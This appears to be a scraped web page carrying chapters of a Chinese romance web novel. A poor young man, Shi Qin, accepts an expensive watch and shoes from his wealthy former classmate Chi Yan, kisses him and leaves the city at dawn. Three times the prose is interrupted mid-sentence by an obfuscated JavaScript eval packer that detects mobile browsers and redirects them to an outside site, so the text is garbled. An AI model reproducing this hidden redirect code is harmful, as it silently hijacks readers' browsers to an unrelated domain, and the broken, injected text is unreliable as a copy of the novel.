;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471028|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这女人也太固执了!时钦才压下去的烦乱又冒上来,他没理赵萍,转身从小屋里拿出那部新手机,递她面前,结果赵萍比刚才更激动,头快摇成拨浪鼓,死活不接,手还在不停比划。 “我特意买给你的啊!”时钦声音拔高,明知赵萍听不见,还是冲着她说,“别他妈这么固执行不行!” 赵萍拇指和食指捏成一小圆,右手食指直点那个圆。他看懂了,是在说钱。没干保安前,他偶尔陪赵萍去废品站卖垃圾,她跟人讨价还价时总做这个动作,为了一两块钱能磨半天,废品站老板总嫌她这个哑寡妇烦人,但出于同情又没拒绝,跟打发叫花子一样。 就像现在,他也嫌赵萍烦人。 这女人,真是活该命苦,活该穷一辈子。 时钦把新手机放桌上,拿出自己手机,极力压下心口那股无处发泄的烦闷,手指飞快打字给赵萍看:【我哥从国外打工回来了,我明天早上走,这些东西和新手机买给你的,谢谢你收留我】 他手指停顿,最后补了一句:【我以后不会再来北城了】 屋子里静得能听见呼吸声。赵萍盯着屏幕看了好半天,眼神发愣,一会儿看看时钦,一会儿看看桌上那些东西,然后手在空中胡乱比划了几下,转身进了自己那屋。 时钦心里忽然间堵得慌。 流浪这么多年,他不是没遇到过好心人,可没人像赵萍这样烂好人,费劲蹬着那破三轮,把他拖回来,真心实意留他住,给口饭吃,让他过了一段安稳的日子,也短暂地给了他一个“家”。 他不能再跟这个女人有牵扯了。 时钦想去收拾东西,赵萍又出来拦他,一把拽住他胳膊,把两张皱巴巴的红票子塞进他手心里,急着指向厨房比划,嘴里“啊啊”发出怪声,是让他别走,等她做饭。 他看赵萍一脸着急的模样,又低头去看手心里那两张带着体温的钱,鼻子猛地一酸,原来是去拿钱给他。偏偏赵萍还把那台新手机拿起来,递回他手里,双手不停比划着,眼神很坚持。 最开始时,时钦很烦赵萍打手语,能用手机打字为什么老比划他看不懂的手语?可他心里清楚,赵萍眼神不好,手指也不利索,在屏幕上杵半天才能写出几个歪歪扭扭的字,有时候搞错笔画,会写出错别字。 他看明白了。赵萍跟他说:手机你自己留着用,我不要。 “操,你是不是脑子不好啊!”时钦别过脸,声音有点发紧,“我都吃过饭了,你别拽我,烦得要死!”嘴上不饶人,他却没甩开赵萍的手,等她松开,才闷头转进小屋,用行动应了留下来吃饭。 家里没荤菜,赵萍想去买点酱牛肉,路过小屋时往里瞅了眼,主屋照进去的一点亮光,正好照着那道背对门坐在小马扎上的瘦弱身影,跟着就看见同样瘦弱的胳膊抬了抬,往眼角蹭了几下。 跟哥哥团聚是好事儿,这孩子咋还哭了呢?她站在门口,有点纳闷,又有点心疼,到底没进去。 听到关门声,时钦才没出息地狠狠抹了把眼泪,可越抹越凶,眼眶鼻子红了个透。他咬着牙抬手,“啪”地用力给了自己一巴掌,掌心的疼痛和瞬间烧起来的脸颊让他清醒了,他心里臭骂自己:别他妈哭了,跟个窝囊废一样,你难过个屁! 人本来就是一个人,来的时候是,走的时候也是。 突兀响起的铃声像炸雷,歌声震耳,及时把他从情绪里拽出来。时钦深吸口气,指缝里湿乎乎的,赶紧蹭了蹭裤子吸干,掏出老年机又深吸了下才接通,一传出凌默的声音,他便想起晚上有约。 “你好,我已经到了。” “哦,今晚先……”时钦刚开口,就觉出自己声音发哑,他忍住吸鼻子的冲动,刻意咳了两声,“今晚先算了,我有衣服穿,让你白跑一趟不好意思,我还有事,先挂了啊。” 园区这边,凌默听得很清楚,那是哭过才有的沙哑,车里静悄悄,显然不止他一人听出来。他转头,向后座的人请示:“迟总,需要直接过去找他吗?” 迟砚望着窗外的路牙子。上回有个小保安,就把车停在他眼皮底下,弯腰锁车时,肩胛骨凸起得很显眼,露着清瘦的骨感。 但此刻路灯下,那里什么都没有,只有几片落叶被风卷起,又轻飘飘落下。 隔了一会儿,他才道:“你下车吧。” 凌默立刻会意,自己这是变成碍眼的灯泡了,迅速推开车门下了车。 14.急色鬼 搭配香喷喷的酱牛肉,时钦一口饭一口菜,快把自己喂成了猪,一摸肚子都感觉大了。早知道不出去吃那盖饭,白浪费十几块钱。 赵萍真是的,逼着他连吃两碗饭,怕他吃不饱,那酱牛肉全往他碗里头夹,自己倒舍不得吃两块,这日子活着图什么啊?人就一辈子,还不对自己好点。 饭后,时钦找了个“散步消食”的由头溜出门,一来肚子真顶得慌,二来他不太想面对赵萍。 一看见那张爬满细纹的沧桑脸,黑发里还掺着白丝,他心里就会很不舒服。算起来,赵萍跟他过世的妈差不了两岁,可比时蓉显老多了,一双带茧子的手像老太太。 夜风一吹,他又忍不住想起时蓉病倒那会儿,也一下子老得很快。 “唉……” 时钦叹完气,掏出裤兜里那包玉溪,往嘴里送了根烟,腾出单手罩着打火机的火苗把烟点了,使劲吸两口勉强好受了些。走没两步遇着只从巷口窜出的野狗,尾巴晃悠着,他随手勾了勾手指,吹口哨逗了下,狗不理他,他没在意,继续边走边抽烟,脚步慢悠悠的,想去路口醒醒脑子。 这里是片自建房,赵萍租来的房子是房东家早年建的仓库,没个正经房子样,真的破。还好以后不用再来了,这女人过什么日子都跟他没关系,各走各路。 他走几步,就回头看一眼,直到看不见赵萍的家。 快到大路口时,时钦瞥见右侧路灯下停着辆黑色奔驰,那车身线条极为眼熟,是S系。 北城这系列的本就不止一辆,再说闷葫芦又不知道他住这破地方,他没多想,估计是哪个老板路过。谁知刚走到路口,随意朝那儿扫了眼,脑子先空了半秒,再揉了揉眼定睛一瞧,车牌号竟和某人的一模一样! 当场吓出个激灵,操,什么情况? 还没等时钦捋明白,兜里手机突然就唱了起来,震得大腿一麻。他隔着几米远死死盯着那辆奔驰,路灯把挡风玻璃映得半明半暗,能看见驾驶位上有个人影。 他掏出手机,屏幕上“闷葫芦”三个字醒目刺眼。大爷的,以前怎么没发现闷葫芦这么瘆人呢? 吸了口烟压住惊吓,时钦才按下接听键,嘴没来得及张,听筒里先砸过来两个字:“过来。” “……” 你让老子过去老子就过去啊?他又吸了口烟,不满道:“你怎么又跟鬼一样突然吓唬人啊,是不是有什么小众癖好?还有你怎么知道我住这儿,搞跟踪呢?” “顺路,凑巧。” “……”时钦把手机往耳边按了下,克制住骂人的冲动,跟一厚脸皮的装货计较什么?别得不偿失,明天就把人甩了,结束这鬼都不谈的破恋爱关系! 他扯扯嘴角,声音里混着假惺惺的委屈:“你那旧情人的公关处理好没啊?不处理干净我都不想见你,我心眼儿很小的。” 透过挡风玻璃,迟砚看向几米开外的身影,穿了件黑色长袖衫,尺寸明显不合身,罩在身上空荡荡的,配着条黑色运动裤,裤脚松松垮垮堆在鞋面上,瘦得似乎风一吹就会倒。他一手举着手机贴在耳边,另一只手抬着,指间夹着烟,不时抽上一口,白烟飘起,隔着玻璃和朦胧烟影,迟砚看不清他的脸。 “不说话就是默认!” “别浪费我时间。”迟砚指节轻敲着方向盘,没有停顿,目光始终落在那瘦弱身影上,直到时钦走到垃圾桶旁掐了烟、扔了烟蒂,又挂断电话,转身朝他走来。 时钦边走边东瞧西望,这片自建房虽然在郊区,但住户密,时不时会有人路过,迟砚应该不至于对他做什么吧? 可越想越慌,就因为自己不乐意搬过去同居,迟砚就安排眼镜男搞跟踪这套,还特意晚上找过来,多吓人啊?那下午眼镜男说什么送衣服,打电话问他要地址…… 操,原来闷葫芦在故意试探他的诚意。 时钦这下彻底看出来迟砚是什么鬼了,是他妈急色鬼! 等走到车旁,对上车窗里那张假正经的棺材脸,他语气软了下来:“忙成这样还自己过来,让你助理来不就好了嘛。” 迟砚从副驾拎起个纯黑礼盒,开门下车,抬手递到时钦手里。 时钦措手不及接过来,礼盒摸着凉凉的,表面印有细闪暗纹。他捧着翻来覆去看了圈,才抬头好奇问迟砚:“什么东西啊?你助理在电话里就神神秘秘的,问了半天都不告诉我。” 之前隔着距离,这会儿离得近了,迟砚先看到时钦发红的眼尾,哭过的双眼还带着点红。往下扫,又撞见他右半边脸颊的红印,浅浅嵌在白皙皮肤里。 他喉结极细微地动了下,声音沉了些:“打开看看。” 时钦早被神秘礼盒勾走了注意力,也早忘了眼前人是让他发慌的“急色鬼”,跟个好奇宝宝似的,埋着脑袋,拆得又急又快,把外层黑纸暴力撕下来,没处扔就往迟砚手里塞:“你拿下垃圾。” 指腹蹭到盒边毛茬时,他先猜是不是戒指,可盒子尺寸不对,又想会不会是手表,可同样纯黑的绒布盒看着是额外备的。待盒盖被揭开,他当场抽口气,紧接着就蹦出声激动的“操”。 “劳力士?!” 时钦声音都变了调,哪敢信迟砚竟送他这么一块价值不菲的硬通货。手指悬在表盘上方,连碰也不敢碰,表盘碎钻在路灯下晃得他眼晕。他抬头时睫毛还颤着,说话都开始磕巴:“这、这真是给我的?” 哭红的一双眼睛,亮得像落了星星,眼里的惊喜根本藏不住。迟砚微点头,视线又扫过时钦脸颊的红印,才绕过他去拉开后座车门,声音依旧沉得没什么起伏:“坐下来。” 捧着价值两三百万的小盒子,惊喜还没捂热,时钦转眼就见迟砚手臂搭在车门上,那架势压得人有点喘不过气,后背瞬间冒了层汗,这是要把他往车里推,想图谋不轨? 他猛地往后退了步,手中盒子都攥紧了,心里把人骂了个底朝天:事出反常必有妖,死闷葫芦一下子这么大手笔,不就是想用物质来安慰他心里的疙瘩?肯定发疯想跟他做那种事!这表再值钱,也不能拿自己当筹码,绝对不能收。 可一低头,表闪得时钦心痒痒,是真想要。 不过两秒的天人交战,他偷瞄了眼迟砚,却与对方眼神相触,迅速做好心理建设,语调放得软乎乎:“不是说了过几天再搬?你着什么急,用块表就想哄我高兴啊?你都没跟那男明星断干净,要不你明天把他封杀了,我就跟你回家。” 迟砚只沉默地看着时钦在那扭捏试探,在时钦警惕的目光里,他转身打开后备箱,取出个鞋盒。 看到迟砚从鞋盒里拿出双黑色运动鞋,时钦原地愣了愣,等迟砚第二次开口叫他坐下试鞋时,他后知后觉地有点臊,自己怎么好像个小丑呢?真服了。 他老老实实坐进后座,两条腿在车外还没放稳,见迟砚突然弯下腰,径直蹲在了他面前。没等时钦反应,右脚踝先被一只温热的手握住,脚上帆布鞋“唰”地一下被脱了下来。 他盯着迟砚拿新鞋往自己脚上套的动作,脑子发懵:“你怎么知道我脚多大?” “猜的。”迟砚动作利落,帮他换好两只鞋,又系上鞋带,抬眼时语气一如既往地平淡,“下来走走看。” 时钦真觉得自己今晚撞了鬼,闷葫芦实在太不对劲了。 他不信邪,见迟砚要起身,忙出声喊住:“等会儿,我脚脖子又不舒服了,你给我按一按。”刚说完,左脚踝就被热乎的手掌裹住。 “……”时钦瞳孔都缩了缩,看迟砚还维持着蹲在他面前的姿势,手轻轻揉着他脚踝发僵的地方,什么话也不说,就低着头,顺滑的发丝被风撩得晃了晃。 “周砚,”他下意识喊出迟砚以前的名字,忍不住问出口,“你是不是想跟我做那种事,才对我这么好?” 迟砚没抬头,仍慢慢按着时钦的脚踝,指腹轻蹭过皮下的骨头。 “我跟你说清楚了啊,”时钦被这肢体接触搅得有些不自在,像要证明什么,又急于撇清什么,“我心里有疙瘩,你现在对我再好也没用,我不会跟你做的。” “下车走两步。”迟砚松开时钦的脚踝,起了身。 时钦正好想收回脚,见状立刻下车,新鞋踩在地上轻便合脚,比旧帆布鞋舒服太多。 他来回感受着,每走一步就低头瞥眼手里的表,往回走时,却看见迟砚人已经在前方垃圾桶旁,拎着他的旧鞋和礼盒包装垃圾,全扔了。 “哎!你扔我鞋干什么?”他赶紧过去,指着垃圾桶急了,“我还能穿呢!” “开胶了,”迟砚说,“对脚不好。” 时钦更急了:“我知道啊,我有万能胶,黏一下还能穿大半个月呢。” 迟砚没等时钦的手碰到垃圾桶边缘,一把掐住他将探向桶内的小臂,那截手臂细得能被他完全圈住。时钦想挣,他指节稍收,使了点劲扣紧:“别捡了,回去休息。” “啊?”时钦心里打了个突,闷葫芦这就放自己走了? “我走了。”迟砚放开那截手臂,向车而去。 时钦望着离去的背影,心口无端像堵了团浸了水的棉絮,沉得发闷。手中的盒子忽然坠得慌,沉甸甸的,像块烫手山芋,想松开,又舍不得;想拿紧,又怕烫着自己。 明天一早就要离开北城了,今晚平白占了这么大便宜,他琢磨着该跟迟砚说声再见。转念一想,不是再见,是以后都不会再见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483769|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。想到“以后都不会再见”,他的脚不知被什么拽着似的,竟不由自主迈了出去,跟上那道背影。 脚步声惊动了前面的人。 迟砚停在车旁,手搭在车门把手上,就那么静着,脚步声消失,才将眼神给了时钦。 时钦目光在他身上绕了圈,衬衣和马甲将肩背裹得利落,西裤笔挺,一看就是量身定制,面料下隐约勾出男性腿部肌肉的线条。这形象,跟过去那个衣着朴素,牛仔裤都洗到发白的穷鬼闷葫芦属一个天一个地。他视线往上飘,最后定在迟砚左眼下方那颗泪痣上。夜色里,那颗黑色的小痣,倒比当年更显眼了。 夜风卷着往事撞进脑子里。 时钦哪会忘记,当年就是因为这颗泪痣,他才总想欺负周砚。 沈维以前跟他说,长泪痣的人都很爱哭鼻子,他当时盯着周砚那张没表情的棺材脸,突然就好奇:这张脸要是哭起来,会是什么样子?可他没把周砚弄哭,自己倒先哭了。 就是在酒吧自暴自弃买醉的那个晚上。他掏出手机给他爸打电话,没人接;给时蓉打,还是忙音;想找好兄弟,偏偏沈维的手机关了机。其他兄弟看着热络,可没一个知道他是见不得光的私生子,都以为他是养尊处优的时家少爷。只有他自己清楚,常年“出国”的爸爸有个正常家庭,妈妈在外面有男人,而他是多余的那个。 没有谁能回应他,给他多点眼神,在他孤单的时候陪他。 他想放纵,想破坏,周砚的名字就冒了出来,他想起周砚攒钱买了个诺基亚,还给他打过几次电话,每次开口都冷冰冰的,叫他把送给周焕的东西拿回去。 那会儿的火气和委屈搅浑在一起,他对着电话吼到嗓子发哑:“周砚你他妈算个什么东西?老子给你脸了是不是?!你现在过来给我道歉!不然我就找你弟麻烦,你看我干不干得出来!” 后来周砚真来酒吧了。 不是找他吵架,是来把他背回家的。他趴在周砚不算宽厚的背上,闻着对方身上洗衣粉的淡味,鼻子一酸,眼泪就砸了下来,哭着骂“周砚你个傻逼”,只有傻逼才会上赶着讨骂,气得他索性把眼泪鼻涕全蹭周砚身上,像个撒泼的小孩。回想起来,连他自己都看不起这样的自己。 那之后……时钦不否认自己当年有多浑。他撕过周砚的作业本,把周砚夹在课本里的情书偷出来,发现是写给自己的后,在兄弟们的怂恿下,直接张贴在校园公告栏上,看着来往同学指指点点,心里竟还觉得解气,恨不得让所有人都看清楚,周砚是个多么恶心人的同性恋。 再后来,他不知道周砚怎么样了。 像是作恶的报应,他落到今天这地步,全是活该。 时钦沉得发闷的心口,又开始有那么一点点疼,形容不出来的滋味,他一瞬间就觉得眼前的男人有些可怜,当然也瞎,喜欢谁不好,喜欢他这种烂人? 他心想,要不走之前给周砚一点甜头吧。闷葫芦送他这么贵的表,给他穿这么舒服的鞋,自己没什么能回报的,就给一点甜头当作告别,过了今晚再也不用见。 时钦咬了咬下唇,果断打开后座车门,指着自己不久前坐过的地方,招呼老同学:“周砚,你过来,坐这儿。” 迟砚没去细想时钦要做什么,只一眼就从时钦眼里抓住了点东西,没了轻佻和蔫儿坏的笑意,少有的认真。他矮身坐进车里,下一秒,一只手就探进来,牵住了他手。 “你手这么大啊。”时钦半弯着腰,手指蹭过迟砚指节分明的手,有点吃惊,比他的手宽了一大圈,还热乎乎的。 他把迟砚的手牵紧些,拉着晃了两下,路灯暖黄的光线晕在他脸上,笑起来的时候,眼底还有点没褪干净的少年气:“我就想跟你牵个手。” 时钦的手偏凉,迟砚的手指僵了一下,没动,也没躲开,就那么任由他牵着,掌心的温度慢慢渗进对方掌心里。 然而这份可怜老同学的的心思没撑多久,时钦瞥过迟砚体面的衣着,再想到自己明天连个落脚处都没有,很快可怜上自己。 操,闷葫芦有钱有实力,要什么有什么,自己呢?没钱没实力,要什么没什么,左脚还残废了,老天爷这是在给过去的周砚报仇呢! 时钦笑不出来了,撇着嘴甩开手,对自己的那点嫌弃在脸上摆得明明白白,自己还半点没察觉,落到某人眼里反而意思变了味。 “你走吧,我要回去睡觉了。”他说。 “时钦。” 这声“时钦”隔了太多年,时钦脑子慢了半拍才回神,随即就听迟砚又开口,没有多余的铺垫,那声音明显冷了下来,夹着夜风的凉意,飘进他耳朵里: “装同性恋不累吗?” 15.要亲这里 风把时钦的头发吹得贴了又扬,他僵在车旁,拨开眉骨前的碎发,风却不停,仍搅得痒意不散。他在风中凌乱几秒,脑子一团迷糊:好端端的,怎么就惹到闷葫芦了? 从头到尾都顺着来,这闷葫芦到底哪儿看出他装同性恋?他心想自己的演技不至于这么差吧?就算差点意思,忍耐力总够强了。换别的直男,谁有他这份能屈能伸的魄力? 没空再想,时钦慌忙否认:“谁装了?我本来就是啊。” 说完,他心里疯狂打鼓。 明天一早就得跑路,劳力士这块硬通货不能被收回去,将来要真遇着难处,是能救命的东西。还有兜里的银行卡,他指望明天大刷一顿呢,万一今晚就被停掉,那不彻底歇菜了? 车里没半点声响,只有风声刮在耳边。时钦越等越慌,越发确定迟砚是在试探自己的诚意。 他赶紧补话:“你要是不信……我能解释!我以前又不懂,对自己性取向很模糊,跟女生试过才知道自己原来喜欢男的,真的。” 车里还是没半点声响,风声小了,连自己的呼吸都听得一清二楚。 妈的,时钦有气不敢撒,只能在心里一顿臭骂,亏他刚才还觉得闷葫芦可怜,主动牵手给甜头,结果说翻脸就翻脸。这货也太狠了,真没良心的东西! “其实这几年我想过找你,”他声音压得温软,尾音都带了点求谅解的委屈,“可我以前那么浑,怕你恨我。在你眼里,我就是这种拿感情当幌子的人吗?别怀疑我对你的喜欢啊,我会难过的……” 车门敞着,风灌进车里,把软软的声音吹得发飘。迟砚大概是没想到时钦那咋咋呼呼的嗓子里能发出这么软的声音,与刚才的扭捏不同,软得像在撒娇。 时钦顿了几秒,好似给自己打气:“也对,你不信我正常,我那会儿老被沈维他们几个笑话,不敢跟你在一起,我爸又给我准备出国的事,我不想耽误你。你也看出来了吧,我没出国,我爸妈的公司都倒闭了,他们顾不上我,不会管我喜欢谁,我现在是真想跟你好好谈的。” 迟砚始终坐在车里,没去看时钦刻意装出来的可怜相,目光反倒落在他的运动裤上,那黑裤子洗得发旧,起了一层毛球。时钦说话时,垂在一侧的左手还无意识抠着那些毛球,右手将表盒抓得死紧,急着剖白自己的模样挺滑稽,嘴里没几句实话。 “你说句话啊,干嘛一直不理人?” 时钦被这沉默逼得更慌,快演不下去了,急着催了句。 气氛沉得压人。 等不来任何回应,时钦知道自己被逼上梁山,不做点牺牲根本过不了今晚。 他做贼心虚地扭头张望。路上只有车灯闪过,不见行人,偶尔几辆电动车“嗖”地匆匆骑过。幸好刚才怕牵手被人看见,硬把闷葫芦赶进车里,这会儿倒方便了他。 瞅准时机,时钦火速弯腰,上半身探进车里。可想象跟实际差太远,他刚凑过去,就近距离对上迟砚静得出奇的眼神,自己倒乱了方寸,心脏“咚咚咚”跳得像要撞出胸腔。他眼神一躲,手里快抓不住的表盒提醒他,再不亲下去就只能喝西北风,索性眼一闭,凭感觉朝迟砚左脸颊飞快啄了下,哪知太着急,亲出“啵”一声脆响。 那触感说不出的奇怪,他竟不反感。睁开眼,时钦在昏暗中看清迟砚那张依旧没什么变化的冷脸,眼神也依旧静得出奇。 想着亲都亲了,于是把心一横,抬起左手掰过迟砚的脸,朝他右脸颊又补了一口。一回生二回熟,时钦动作快了点,慌张却没少,亲完火速撤到车外,夜风一吹,才觉出脸上热得难受,车里没开空调就是闷啊。 “你看,我都这么亲你了,怎么可能是装的?”时钦睁着眼说瞎话,心跳如雷,别开脸嘟囔,“你不知道我有多喜欢你,就你——” 话还没说完,手腕被猛地一拽,不等他站稳,腰腹就被一股力量牢牢揽住,带得他重心前倾,整个人被狠狠掼进车里,重重摔坐在迟砚怀里。后背撞上温热的胸膛,手里的表盒也不知飞哪儿去了,时钦下意识想挣脱,刚动肩膀,下巴就被宽大的手掐紧,腰身也被搂紧,连一丝退避的余地都没,脑子一片空白。 下一秒,他眼前一黑,唇上落下片柔软,触感太轻,像羽毛蹭过,转瞬即逝。 迟砚退开些,呼吸还落在他唇角,在昏暗中盯着他惊圆的眼,低声提醒他:“要亲这里。” 时钦脑子彻底卡壳,忘了挣扎,只愣愣盯着迟砚的眼睛。 迟砚没把人放开,指腹捻着时钦下颌,轻轻向上一抬,转而掌心覆上他脖颈,虚虚一扼。 “有多喜欢?”他看进时钦的眼里,“证明给我看。” “……”时钦完全傻了。 直到颈侧那颗痣被不轻不重地刮过,细微的疼激得他浑身一颤,这才恍然回神,被戏弄的羞恼像火星子,顷刻引爆了积压的所有憋屈,把他烧了个遍。 他已经做到这份上了!手也牵了,低声下气解释了那么多,脸也亲了两回,这闷葫芦凭什么还端着架子无视他,一副高高在上的模样?跟折磨他的老天爷一个臭德行,看不起谁啊? 都去他妈的! 时钦几乎是自暴自弃地扑向迟砚,一把捧住迟砚的脸,不管不顾就对着那张嘴狠吻上去。与其说是吻,不如说是啃咬,带着豁出一切的凶劲,全无章法。 腰上的手臂骤然收得更紧,勒得他生疼,却更激起了他的反骨。他偏不服输,舌尖粗暴捅开迟砚的牙关,在里面蛮横地搅弄冲撞,察觉迟砚的舌在退避,他心头窜起一丝报复的快意,尤其尝到甜丝丝的血腥味,心头快意更盛,往深了侵略,恨不得咬断那舌头。 死闷葫芦不是要亲嘴么,他就亲到他服软认错为止! 车里很安静,只剩下渐重的呼吸,唇齿间黏腻的暧昧声响。 分不清是谁的心跳,擂鼓似的砸在紧贴的胸膛间,震得空气都颤。 …… 时钦不是没和女孩子接过吻,可从没像现在这样,也太久没这么亲近过人,热度从交缠的唇舌间漫开,一点点漫过他四肢。 他强势地主导着这个吻,连自己都沉溺于这份掌控感,不自觉地攥紧了迟砚耳后的头发。亲得正上瘾,腰侧毫无征兆地一痛,他痛哼出声,吻被打断,迟砚已偏头躲开,二话不说就把他往车外推。 “操,你有病啊!”时钦腰被掐得还疼着,差点栽出去,边喘边骂,一万个不服气。 迟砚推他,他就成心向后仰,没轻没重地一屁股撞在迟砚腿上,还使劲往人身上挤。没等他撒完气,耳边一声压抑的闷喘让他瞬间僵住,自己好像坐到了什么硬实的东西,隔着布料都轮廓分明。他不禁一颤,火烧屁股般弹开,手脚并用地爬下车,原本就混乱的呼吸这下乱得更不成样。 “回去吧。”迟砚的声音从身后传来,平静得听不出情绪。 车门被关上,时钦又在风中凌乱几秒,紧接着脸色一变,想把自己的破嘴给锯了。他抬脚就逃,急需抽根烟压压惊,低头掏时发现两手空空,妈的表呢?只好咬牙折回去,刚抬手要敲车窗,玻璃就缓缓降下,迟砚递出那个纯黑表盒。 “……”时钦黑着脸接过来,对上那装模作样的冷脸,倒衬得自己真成了个小丑。 他不信有反应了还这么沉得住气,蔫儿坏地捉弄迟砚:“急色鬼,还要我再亲一次证明给你看么?” 迟砚没应声,抬起眼,目光沉默地锁在他湿润微肿的唇上。 被盯得浑身不自在,时钦冷哼一声,想起迟砚接吻时既不回应也不拒绝的古怪架势,心里莫名不爽,故意刺他:“你跟那男明星亲嘴不?他技术好还是我好?” “把烟戒了。”迟砚蹙眉打断他,“难闻。” “你……”时钦被这荒谬的要求堵得一噎,气极反笑,“你管不着,我就喜欢抽烟!” “戒烟还是一套房,自己选。”话一落,迟砚升上车窗,单方面结束了这场交流。 时钦吃了个闭门羹,一大口气堵在胸口,吐不出也咽不下,终究还是扭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501443|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。 等回去时赵萍已经睡下,他疯狂刷牙漱口,草草擦了个澡躺上床,翻来覆去死活睡不着,又坐起来点了根烟。刚吸一口,迟砚那句“难闻”就钻进耳朵,吵得要命。 死闷葫芦好意思嫌弃他?嫌难闻倒是别亲啊?还跟他亲那么久?还把他往死里抱那么紧?还不要脸地用那玩意儿怼他?最后再用房子来勾引他? 操,不就是把他当猴儿耍?一步一步逼得他情绪失控,跟个傻逼似的在这儿烦得团团转。 时钦烦躁地抽完烟,重新躺下逼自己睡觉,可脑子里乱哄哄的,心里也乱哄哄的。 他不知道,大路口那辆奔驰在路灯下停了很久,一直到夜色深透。 凌晨三点半,天还没亮,窗外只有浓得化不开的黑。 时钦摸黑爬起来,打开小手电,轻手轻脚地收拾行李,怕赵萍醒来又为他忙前忙后,给他烙饼蒸馒头。 其实没多少东西,就几身自己来时的旧衣服。赵萍手洗的那大包旧衣服对他来说算新的,他从里面挑了套厚实的冬装塞进背包,有股洗衣粉香,干干净净的,可以留着过年穿。 最重要的表怕被偷,他扔下表盒,直接把表藏进外套内袋,贴着胸口才安心。可惜旧鞋昨晚被扔了,低头见脚上崭新的运动鞋,他又有点发愣,踢了踢鞋尖,想黑色不起眼,就穿着走吧。 跨上小电驴,时钦漫无目的地骑入将明未明的天色里。 风裹着冷意往领口钻,他抬头看了眼暗沉的天,在空落落的心里跟赵萍说对不起,说自己没本事买房,老家的房子也早被法院贴了封条,他这辈子好像跟“家”犯冲;又说自己戒不了烟,以前蜷在桥洞啃着冷馒头挨冻的夜里,他全靠烟来麻痹自己,等烟屁股烫着手了才确定自己还活着。 是他太没用了,活得像阴沟里的老鼠,又窝囊又怂,见光就怕,可黑了也怕,还怕冷怕热怕饿怕疼怕死,很怕哪天死了都没人帮自己收尸,被蛆虫给吃掉。 昨晚那些乱哄哄的思绪仍在时钦脑子里转,此刻慢慢拧成了一道刺,提醒他迟砚太古怪,也太危险,总能轻易搅乱他的情绪。已经捞到了值钱的好东西,再留北城就是自找罪受。 风刮得眼睛发涩,他眯着眼把车骑得更快,心里想:有机会下辈子再见吧。 到时候,他肯定不欺负闷葫芦了。 - 星川娱乐顶层,董事办公室。 “迟砚,你帮帮我。”白牧眼泪直流哭花了妆,精致的脸早没了荧幕上的光鲜,“我那天醉糊涂了,不是真的要跳楼,我以后一定听你哥的话,别雪藏我……” 迟砚垂眸翻着文件,目光没从纸页上移开半分:“公司最大的心愿,是希望你安心养病。” “我没有病!”白牧突然拔高嗓门,疯疯癫癫笑了两声,“好,算你们狠,想毁了我行啊,让你哥来见我!不然我就闹到他婚礼上死给他看!做鬼也不放过他!” 手机在桌面震动的瞬间,迟砚拿起并接通,无视聒噪的哭喊。 “迟总,”凌默的声音透过听筒传来,“他上午确实在珠宝店消费了八万多,全买了女士黄金首饰,跟营业员说要回老家结婚。两个定位重合在安城方向的国道上,他应该找的黑车,没留下行踪记录。” “知道了。” 听出上司语气转淡,凌默探问:“要去追吗?” “不用。”迟砚挂断电话,视线终于落到白牧身上,“想死,迟放婚礼那天我送你一程。现在,滚出去。” 白牧的哭腔噎在喉间。迟砚那层礼节性温和一收,压迫感扑面而来,吓得他汗毛倒竖。 他此刻才看清,原来迟砚之前全是装的,讨好迟放、给他资源,或许另有目的。这个在迟家不受宠的私生子,早把真容藏在了温顺的皮囊下,可能比迟放还狠。 没再多说一个字,白牧踉跄着退了出去。 办公室重归寂静。 迟砚抬起手,轻轻抚过下唇,昨晚被咬破的地方仍隐隐作痛。